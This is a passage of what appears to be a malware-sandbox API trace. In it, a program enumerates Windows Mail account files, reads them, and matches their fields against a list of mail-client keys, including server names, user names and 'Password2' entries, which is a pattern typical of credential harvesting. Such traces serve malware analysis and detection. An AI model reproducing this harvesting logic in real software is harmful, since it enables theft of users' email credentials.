00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x1be4c68, cbMultiByte=754, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", lpUsedDefaultChar=0x0) returned 754 [0063.370] ??2@YAPAXI@Z () returned 0x4aff70 [0063.370] ??2@YAPAXI@Z () returned 0x4aff98 [0063.371] ??2@YAPAXI@Z () returned 0x4affc0 [0063.371] ??2@YAPAXI@Z () returned 0x1be4f68 [0063.371] ??2@YAPAXI@Z () returned 0x1be4f88 [0063.371] strlen (_Str="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1 [0063.371] ??2@YAPAXI@Z () returned 0x1be4fa8 [0063.371] free (_Block=0x0) [0063.371] free (_Block=0x0) [0063.371] free (_Block=0x0) [0063.371] free (_Block=0x0) [0063.371] malloc (_Size=0x100) returned 0x1be52a8 [0063.371] strlen (_Str="version") returned 0x7 [0063.371] malloc (_Size=0x2000) returned 0x1be53b0 [0063.371] malloc (_Size=0x400) returned 0x1be73b8 [0063.371] malloc (_Size=0x100) returned 0x1be77c0 [0063.371] strlen (_Str="1.0") returned 0x3 [0063.371] malloc (_Size=0x2000) returned 0x1be78c8 [0063.371] malloc (_Size=0x400) returned 0x1be98d0 [0063.371] strlen (_Str="encoding") returned 0x8 [0063.371] strlen (_Str="utf-16") returned 0x6 [0063.371] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.371] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.371] strlen (_Str="type") returned 0x4 [0063.372] strlen (_Str="DWORD") returned 0x5 [0063.372] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.372] malloc (_Size=0x100) returned 0x1be9cd8 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1 [0063.372] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1 [0063.372] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1 [0063.372] strlen (_Str="type") returned 0x4 [0063.372] strlen (_Str="SZ") returned 0x2 [0063.372] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.372] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0063.372] strlen (_Str="VeriSign Internet Directory Service") returned 0x23 [0063.372] strlen (_Str="VeriSign Internet Directory Service") returned 0x23 [0063.372] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0063.372] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0063.372] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0063.372] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0063.372] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0063.373] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0063.373] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0063.373] strlen (_Str="type") returned 0x4 [0063.373] strlen (_Str="SZ") returned 0x2 [0063.373] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1 [0063.373] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1 [0063.373] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1 [0063.373] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1 [0063.373] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1 [0063.373] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1 [0063.374] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0063.374] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1 [0063.374] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0063.374] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1 [0063.374] strlen (_Str="type") returned 0x4 [0063.374] strlen (_Str="SZ") returned 0x2 [0063.374] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="Account_Name") returned 1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="POP3_Server") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Server") returned 1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Server") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Server") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="POP3_User_Name") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="IMAP_User_Name") returned 1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="NNTP_User_Name") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="SMTP_User_Name") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="POP3_Password2") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Password2") returned 1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Password2") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Password2") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Email_Address") returned -1 [0063.374] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Email_Address") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Port") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Port") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Port") returned 1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Port") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Secure_Connection") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Secure_Connection") returned -1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Secure_Connection") returned 1 [0063.374] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Secure_Connection") returned -1 [0063.374] strlen (_Str="type") returned 0x4 [0063.374] strlen (_Str="DWORD") returned 0x5 [0063.374] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.374] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1 [0063.374] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1 [0063.374] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1 [0063.374] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1 [0063.375] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1 [0063.375] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1 [0063.375] strlen (_Str="type") returned 0x4 [0063.375] strlen (_Str="DWORD") returned 0x5 [0063.375] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1 [0063.375] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1 [0063.375] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1 [0063.376] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1 [0063.376] strlen (_Str="type") returned 0x4 [0063.376] strlen (_Str="DWORD") returned 0x5 [0063.376] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1 [0063.376] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1 [0063.376] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1 [0063.376] strlen (_Str="type") returned 0x4 [0063.376] strlen (_Str="SZ") returned 0x2 [0063.376] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.376] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1 [0063.376] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1 [0063.377] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1 [0063.377] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1 [0063.377] strlen (_Str="type") returned 0x4 [0063.377] strlen (_Str="DWORD") returned 0x5 [0063.377] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1 [0063.377] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1 [0063.378] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1 [0063.378] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1 [0063.378] strlen (_Str="type") returned 0x4 [0063.378] strlen (_Str="SZ") returned 0x2 [0063.378] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="Account_Name") returned 1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Server") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Server") returned 1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Server") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Server") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="POP3_User_Name") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_User_Name") returned 1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_User_Name") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_User_Name") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Password2") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Password2") returned 1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Password2") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Password2") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Email_Address") returned -1 [0063.378] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Email_Address") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Port") returned 1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Port") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Secure_Connection") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Secure_Connection") returned -1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Secure_Connection") returned 1 [0063.378] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Secure_Connection") returned -1 [0063.378] ??3@YAXPAX@Z () returned 0x1 [0063.378] ??3@YAXPAX@Z () returned 0x1 [0063.378] free (_Block=0x1be9cd8) [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] free (_Block=0x1be77c0) [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] free (_Block=0x1be52a8) [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] free (_Block=0x1be78c8) [0063.379] free (_Block=0x1be98d0) [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] free (_Block=0x1be53b0) [0063.379] free (_Block=0x1be73b8) [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] ??3@YAXPAX@Z () returned 0x1 [0063.379] CloseHandle (hObject=0x104) returned 1 [0063.379] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1 [0063.379] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.379] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37 [0063.379] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8 [0063.379] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.379] _mbscat (in: param_1=0x18efe8, param_2=0x413078 | out: param_1=0x18efe8) returned 0x18efe8 [0063.379] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8 [0063.379] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104 [0063.379] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a0 [0063.379] ??2@YAPAXI@Z () returned 0x4af980 [0063.379] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0063.379] ReadFile (in: hFile=0x104, lpBuffer=0x4af980, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x4af980*, lpNumberOfBytesRead=0x18ed24*=0x29e, lpOverlapped=0x0) returned 1 [0063.381] wcslen (_String="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f [0063.381] ??2@YAPAXI@Z () returned 0x4afc30 [0063.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x4afc30, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", lpUsedDefaultChar=0x0) returned 336 